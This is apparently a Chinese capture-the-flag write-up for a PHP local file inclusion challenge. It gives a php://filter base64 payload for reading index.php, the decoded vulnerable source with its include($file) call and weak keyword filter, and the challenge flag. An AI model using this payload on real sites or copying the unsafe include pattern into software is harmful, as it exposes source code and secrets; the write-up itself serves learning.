click me, no? 那固然要click啦php
注意地址欄,出現了?file=show.php,說明出現了文件包含漏洞,題目又提示flag在index中,因此用php://僞協議查看index.php內容編碼
即便用php://filter也不能直接在頁面中讀取resource=index.php的內容,此處要對php進行一下base64編碼(還有其餘方式好比ROT13能夠使用但base64比較容易解碼)spa
先來看一下php://filter的用法:code
所以製造payload:?file=php://filter/read=convert.base64-encode/resource=index.phpblog
頁面返回了一段base64:ci
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==input
放到Cyberchef中解碼,獲得一段php代碼(就是index.php的內容)it
1 <?php 2 error_reporting(0); 3 if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';} 4 $file=$_GET['file']; 5 if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ 6 echo "Oh no!"; 7 exit(); 8 } 9 include($file); 10 //flag:flag{edulcni_elif_lacol_si_siht} 11 ?>
不須要認真看代碼,由於flag就在註釋中base64